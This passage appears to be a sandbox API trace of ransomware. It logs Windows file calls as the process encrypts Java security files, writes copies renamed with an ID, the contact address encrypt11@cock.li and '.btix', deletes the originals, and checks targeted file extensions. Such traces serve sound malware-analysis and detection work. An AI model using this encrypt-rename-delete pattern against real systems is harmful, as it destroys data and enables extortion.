lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".doc") returned 4 [0155.819] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".docx") returned 5 [0155.819] lstrcmpiW (lpString1=".docx", lpString2="klist") returned -1 [0155.819] lstrlenW (lpString=".pdf") returned 4 [0155.819] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".xls") returned 4 [0155.819] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".xlsx") returned 5 [0155.819] lstrcmpiW (lpString1=".xlsx", lpString2="klist") returned -1 [0155.819] lstrlenW (lpString=".ppt") returned 4 [0155.819] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".zip") returned 4 [0155.819] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".rar") returned 4 [0155.819] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".bz2") returned 4 [0155.819] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1 [0155.819] lstrlenW (lpString=".7z") returned 3 [0155.819] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".dbf") returned 4 [0155.819] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1 [0155.819] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.819] lstrlenW (lpString=".1cd") returned 4 [0155.820] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1 [0155.820] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklist") returned 57 [0155.820] lstrlenW (lpString=".jpg") returned 4 [0155.820] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1 [0155.820] lstrcmpiW (lpString1=".certs", lpString2=".btix") returned 1 [0155.820] lstrlenW (lpString="blacklisted.certs") returned 17 [0155.820] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.820] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=1253) returned 1 [0155.820] CloseHandle (hObject=0x374) returned 1 [0155.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 0x20 [0155.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.820] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.820] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.820] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.821] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.827] GetLastError () returned 0x0 [0155.827] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x4e5, lpOverlapped=0x0) returned 1 [0155.828] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0155.829] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.829] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xf6, lpOverlapped=0x0) returned 1 [0155.829] SetEndOfFile (hFile=0x378) returned 1 [0155.829] CloseHandle (hObject=0x378) returned 1 [0155.829] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.829] SetEndOfFile (hFile=0x374) returned 1 [0155.835] CloseHandle (hObject=0x374) returned 1 [0155.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.835] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\blacklisted.certs")) returned 1 [0155.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.836] lstrlenW (lpString=".doc") returned 4 [0155.836] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".docx") returned 5 [0155.836] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0155.836] lstrlenW (lpString=".pdf") returned 4 [0155.836] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".xls") returned 4 [0155.836] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".xlsx") returned 5 [0155.836] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0155.836] lstrlenW (lpString=".ppt") returned 4 [0155.836] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.836] lstrlenW (lpString=".zip") returned 4 [0155.836] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".rar") returned 4 [0155.836] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".bz2") returned 4 [0155.836] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0155.836] lstrlenW (lpString=".7z") returned 3 [0155.836] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0155.836] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.836] lstrlenW (lpString=".dbf") returned 4 [0155.836] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString=".1cd") returned 4 [0155.837] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString=".jpg") returned 4 [0155.837] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString=".doc") returned 4 [0155.837] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".docx") returned 5 [0155.837] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0155.837] lstrlenW (lpString=".pdf") returned 4 [0155.837] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".xls") returned 4 [0155.837] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".xlsx") returned 5 [0155.837] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0155.837] lstrlenW (lpString=".ppt") returned 4 [0155.837] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString=".zip") returned 4 [0155.837] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".rar") returned 4 [0155.837] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".bz2") returned 4 [0155.837] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString=".7z") returned 3 [0155.837] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.837] lstrlenW (lpString=".dbf") returned 4 [0155.837] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0155.837] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.838] lstrlenW (lpString=".1cd") returned 4 [0155.838] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0155.838] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\blacklisted.certs") returned 65 [0155.838] lstrlenW (lpString=".jpg") returned 4 [0155.838] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0155.838] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".btix") returned -1 [0155.838] lstrlenW (lpString="cacerts") returned 7 [0155.838] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.838] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=114923) returned 1 [0155.838] CloseHandle (hObject=0x374) returned 1 [0155.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20 [0155.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.838] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.838] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.839] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.839] GetLastError () returned 0x0 [0155.839] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x1c0eb, lpOverlapped=0x0) returned 1 [0155.841] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x1c0f0, lpOverlapped=0x0) returned 1 [0155.861] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.861] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xe2, lpOverlapped=0x0) returned 1 [0155.861] SetEndOfFile (hFile=0x378) returned 1 [0155.861] CloseHandle (hObject=0x378) returned 1 [0155.861] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.861] SetEndOfFile (hFile=0x374) returned 1 [0155.862] CloseHandle (hObject=0x374) returned 1 [0155.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.863] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1 [0155.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.863] lstrlenW (lpString=".doc") returned 4 [0155.863] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0155.863] lstrlenW (lpString=".docx") returned 5 [0155.863] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0155.863] lstrlenW (lpString=".pdf") returned 4 [0155.863] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0155.863] lstrlenW (lpString=".xls") returned 4 [0155.863] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0155.863] lstrlenW (lpString=".xlsx") returned 5 [0155.863] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0155.863] lstrlenW (lpString=".ppt") returned 4 [0155.863] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0155.863] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.863] lstrlenW (lpString=".zip") returned 4 [0155.863] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0155.863] lstrlenW (lpString=".rar") returned 4 [0155.864] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".bz2") returned 4 [0155.864] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".7z") returned 3 [0155.864] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString=".dbf") returned 4 [0155.864] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString=".1cd") returned 4 [0155.864] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString=".jpg") returned 4 [0155.864] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString=".doc") returned 4 [0155.864] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".docx") returned 5 [0155.864] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1 [0155.864] lstrlenW (lpString=".pdf") returned 4 [0155.864] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".xls") returned 4 [0155.864] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".xlsx") returned 5 [0155.864] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1 [0155.864] lstrlenW (lpString=".ppt") returned 4 [0155.864] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.864] lstrlenW (lpString=".zip") returned 4 [0155.864] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1 [0155.864] lstrlenW (lpString=".rar") returned 4 [0155.864] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1 [0155.865] lstrlenW (lpString=".bz2") returned 4 [0155.865] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1 [0155.865] lstrlenW (lpString=".7z") returned 3 [0155.865] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1 [0155.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.865] lstrlenW (lpString=".dbf") returned 4 [0155.865] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1 [0155.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.865] lstrlenW (lpString=".1cd") returned 4 [0155.865] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1 [0155.865] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55 [0155.865] lstrlenW (lpString=".jpg") returned 4 [0155.865] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1 [0155.865] lstrcmpiW (lpString1=".policy", lpString2=".btix") returned 1 [0155.865] lstrlenW (lpString="java.policy") returned 11 [0155.865] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.865] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x365ff14 | out: lpFileSize=0x365ff14*=2466) returned 1 [0155.865] CloseHandle (hObject=0x374) returned 1 [0155.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 0x20 [0155.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0155.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0155.866] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.866] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.866] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0155.866] GetLastError () returned 0x0 [0155.866] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x9a2, lpOverlapped=0x0) returned 1 [0155.867] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0x9b0, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0x9b0, lpOverlapped=0x0) returned 1 [0155.868] ReadFile (in: hFile=0x374, lpBuffer=0x4056020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x365fecc, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesRead=0x365fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.868] WriteFile (in: hFile=0x378, lpBuffer=0x4056020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x365fc94, lpOverlapped=0x0 | out: lpBuffer=0x4056020*, lpNumberOfBytesWritten=0x365fc94*=0xea, lpOverlapped=0x0) returned 1 [0155.868] SetEndOfFile (hFile=0x378) returned 1 [0155.868] CloseHandle (hObject=0x378) returned 1 [0155.868] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x365fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.868] SetEndOfFile (hFile=0x374) returned 1 [0155.869] CloseHandle (hObject=0x374) returned 1 [0155.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0155.869] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\java.policy")) returned 1 [0155.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.869] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.869] lstrlenW (lpString=".doc") returned 4 [0155.869] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0155.869] lstrlenW (lpString=".docx") returned 5 [0155.869] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0155.869] lstrlenW (lpString=".pdf") returned 4 [0155.869] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0155.869] lstrlenW (lpString=".xls") returned 4 [0155.869] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0155.869] lstrlenW (lpString=".xlsx") returned 5 [0155.869] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0155.870] lstrlenW (lpString=".ppt") returned 4 [0155.870] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString=".zip") returned 4 [0155.870] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".rar") returned 4 [0155.870] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".bz2") returned 4 [0155.870] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".7z") returned 3 [0155.870] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString=".dbf") returned 4 [0155.870] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString=".1cd") returned 4 [0155.870] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString=".jpg") returned 4 [0155.870] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.870] lstrlenW (lpString=".doc") returned 4 [0155.870] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".docx") returned 5 [0155.870] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1 [0155.870] lstrlenW (lpString=".pdf") returned 4 [0155.870] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".xls") returned 4 [0155.870] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1 [0155.870] lstrlenW (lpString=".xlsx") returned 5 [0155.870] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1 [0155.870] lstrlenW (lpString=".ppt") returned 4 [0155.870] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.871] lstrlenW (lpString=".zip") returned 4 [0155.871] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString=".rar") returned 4 [0155.871] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString=".bz2") returned 4 [0155.871] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString=".7z") returned 3 [0155.871] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1 [0155.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.871] lstrlenW (lpString=".dbf") returned 4 [0155.871] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1 [0155.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.policy") returned 59 [0155.871] lstrlenW (lpString=".1cd") returned 4 [0155.871] lstrcmpiW 